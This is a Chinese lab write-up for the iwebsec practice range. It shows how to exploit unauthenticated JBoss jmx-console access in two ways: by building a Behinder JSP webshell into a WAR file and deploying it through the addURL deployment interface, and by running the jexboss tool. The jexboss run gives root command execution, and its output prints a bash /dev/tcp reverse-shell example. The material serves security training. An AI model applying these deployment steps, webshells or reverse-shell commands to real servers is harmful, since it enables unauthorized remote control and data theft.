目录
Jboss漏洞
1.Jboss简介
JBoss是一套开源的企业级Java中间件系统,用于实现基于SOA的企业应用和服务,基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
2.未授权漏洞
在低版本的 JBoss 中,默认可以访问 JBoss Web 控制台(http://IP:8080/jmx-console),无需用户名和密码。通过 JBoss 未授权访问管理控制台的漏洞,可以进行后台服务管理,可以通过脚本命令执行系统命令,如反弹 shell、wget 写 Webshell 文件。
注意:Jboss的默认端口是8080,这个端口是可以配置的,在iwebsec靶场中配置为了8088,而不是8080,这一点需要了解
第03关 Jboss中间件漏洞
1.打开靶场
因为中间件涉及到靶场开启的服务端口号,故而此部分实验均使用虚拟机环境,而不是官方的在线网志,如下所示网址为
http://iwebsec.com:81/middleware/03.php
2.搭建Jboss环境
(1)复用iwebsec靶场的环境
这里提到Jboss的端口号为8088,但是iwebsec在线靶场目前无法使用,这时候可以选择使用iwebsec虚拟机环境,通过docker查看端口映射关系,完整交互如下所示
iwebsec@ubuntu:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
c5e73d32ca9d iwebsec/iwebsec "/start.sh" 15 hours ago Up 15 hours 0.0.0.0:80->80/tcp, 0.0.0.0:3306->3306/tcp, 0.0.0.0:6379->6379/tcp, 0.0.0.0:7001->7001/tcp, 0.0.0.0:8000->8000/tcp, 0.0.0.0:8080->8080/tcp, 0.0.0.0:8088->8088/tcp, 22/tcp, 0.0.0.0:9000->9000/tcp iwebsec
根据0.0.0.0:8088->8088/tcp可知iwebsec的docker容器中的8088端口映射为宿主机的8088端口,这里要注意我的docker靶场是自己再次修改过的映射,需要查看后再确认关系。
这里要强调一下,由于iwebsec的靶场渗透过程中上传war包解析有问题(不知为何网页部署war后,页面显示成功但是实际上却在容器内无法找到;但是使用jexboss可以渗透成功),故而在实际操作中,不建议直接使用iwebsec靶场的Jboss环境,而是建议使用如下通过docker自己搭建渗透环境。
(2) Docker复现Jboss漏洞
我是在Kali中复现此漏洞,首先使用docker搭建Jboss漏洞靶场,这里我也将jboss服务的8080端口映射到kali宿主机的8088端口
#搜索JBoss环境
docker search testjboss
#选择需要的环境
docker pull testjboss/jboss
#实例化testjboss/jboss镜像
docker run -d-p 8088:8080 testjboss/jboss
我的Kali机器ip地址为192.168.71.129,即Jboss的服务地址为
http://192.168.71.129:8088
打开后Jboss靶场如下
3.制作webshell的war包
(1)使用冰蝎的jsp webshell文件
(2)生成shell.war
进入到命令行界面(冰蝎的sever路径),使用如下命令生成shell.war
jar cvf shell.war shell.jsp
执行过程如下所示,
如下所示生成了shell.war文件,这是Jboss渗透使用的webshell部署文件
4.将shell.war放到网站中
由于JBoss服务的jboss.deployment接口在进行部署时,其添加的参数必须是URL格式,故而这个shell.war文件需要部署好放到网址上,然后通过addURL防范部署到JBoss中。
于是我们将shell.jar部署到PHPStudy搭建网站的根目录下
在根目录下放置shell.war文件,如下所示
PHPStudy搭建的服务ip地址为http://192.168.71.1 于是shell.war的url地址为
http://192.168.71.1/shell.war
搭建完毕验证是否可以正常访问,如下所示搭建成功。
也可以在iwebsec靶场的docker环境中,尝试访问shell.war,如下所示没有问题
5.未授权进入到JMX管理界面
点击JMX_Console
进入到http://192.168.71.129:8088/jmx-console/http://192.168.71.151:8088/jmx-console/发现存在未授权漏洞进入到JMX管理界面。
注意下图红框的Jboss.deployment是下一个要点击的界面,如下所示
6.进入Jboss部署页面
通过Jboss.deployment接口来进入到应用部署页面
找到JBoss 控制台 void addURL()处,准备在这里上传后缀为war的webshell,也就是我们在第3步中制作的shell.war文件,不过在jboss.deployment接口中添加的参数必须是URL格式,故而这个shell.war文件需要部署好放到网址上,然后通过addURL防范部署到JBoss中。
7.部署shell.war文件
在ParamValue中添加第四步中shell木马文件的网站URL,如下所示
http://192.168.71.1/shell.war
添加完毕后,点击Invoke
如下所示部署成功
返回后在如下界面中可以看到shell.war已经部署成功
正常部署成功,Kali系统搭建的docker环境中在如下目录中会生成相应文件,如下所示渗透成功
而在iwebsec的靶场docker环境中,会在如下目录中生成相应文件(不过真实渗透中,如上步骤都正确,jboss.web.deployment也提示有shell.war,但是真实却没有找到部署成功。
/root/iwebsec/jboss-4.2.3.GA/server/default/deploy/management
8.查看部署
输入 http://JBoss服务器IP:JBoss端口号/shell/
查看 shell.war 包成功部署,其URL地址为
http://192.168.71.129:8088/shell/shell.jsp
http://192.168.71.129:8088/shellhttp://192.168.71.129:8088/shell
9.冰蝎连接
添加后效果如下
选择连接,如下所示为基本信息
命令执行界面如下所示
文件管理如下所示
如上所示渗透成功
10.jexboss脚本渗透
(1)安装jboss渗透环境
github 如下
执行如下命令下载渗透code
#git下载jexboss
git clone https://github.com/joaomatosf/jexboss
#切换jexboss所在目录
cd jexboss/
(2)渗透实战
如果是iwebsec靶场环境
python3 jexboss.py -u http://192.168.71.129:8088/
如果是docker搭建的jboss靶场环境
python3 jexboss.py -u http://192.168.71.151:8088/
根据提示输入yes,可知获取了webshell权限,尝试执行ls和dir命令均渗透成功,以iwebsec靶场环境为例,完整交互如下所示
d others Java Deserialization Vulnerabilities * |
| |
| @author: João Filho Matos Figueiredo |
| @contact: joaomatosf@gmail.com |
| |
| @update: https://github.com/joaomatosf/jexboss |
#______________________________________________________#
@version: 1.2.4
* Checking for updates in: http://joaomatosf.com/rnp/releases.txt **
** Checking Host: http://192.168.71.151:8088/ **
[*] Checking jmx-console:
[ VULNERABLE ]
[*] Checking web-console:
[ VULNERABLE ]
[*] Checking JMXInvokerServlet:
[ VULNERABLE ]
[*] Checking admin-console:
[ OK ]
[*] Checking Application Deserialization:
[ OK ]
[*] Checking Servlet Deserialization:
[ OK ]
[*] Checking Jenkins:
[ OK ]
[*] Checking Struts2:
[ OK ]
* Do you want to try to run an automated exploitation via "jmx-console" ?
If successful, this operation will provide a simple command shell to execute
commands on the server..
Continue only if you have permission!
yes/NO? yes
* Sending exploit code to http://192.168.71.151:8088/. Please wait...
[[ * Successfully deployed code! Starting command shell. Please wait...
# ----------------------------------------- # LOL # ----------------------------------------- #
* http://192.168.71.151:8088/:
# ----------------------------------------- #
* For a Reverse Shell (like meterpreter =]), type the command:
jexremote=YOUR_IP:YOUR_PORT
Example:
Shell>jexremote=192.168.0.10:4444
Or use other techniques of your choice, like:
Shell>/bin/bash -i > /dev/tcp/192.168.0.10/4444 0>&1 2>&1
And so on... =]
# ----------------------------------------- #
Linux c5e73d32ca9d 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
' CentOS release 6.8 (Final)
Kernel \\r on an \\m
' Failed to check for updates
uid=0(root) gid=0(root) groups=0(root)
'
[Type commands or "exit" to finish]
Shell> ls
bin
boot
check_Tue-Nov-29-04h.log
check_Tue-Nov-29-05h.log
dev
etc
home
lib
lib64
lost+found
media
mnt
opt
php-build
proc
repo
root
sbin
selinux
srv
start.sh
sys
tmp
usr
var
'
[Type commands or "exit" to finish]
Shell> dir
bin\t\t\t dev\tlib64\t opt root\tstart.sh var
boot\t\t\t etc\tlost+found php-build sbin\tsys
check_Tue-Nov-29-04h.log home\tmedia\t proc selinux\ttmp
check_Tue-Nov-29-05h.log lib\tmnt\t repo srv\tusr
'
[Type commands or "exit" to finish]
Shell>
根据如上内容,找到三处有漏洞的地方,具体交互如下
[*] Checking jmx-console:
[ VULNERABLE ]
[*] Checking web-console:
[ VULNERABLE ]
[*] Checking JMXInvokerServlet:
[ VULNERABLE ]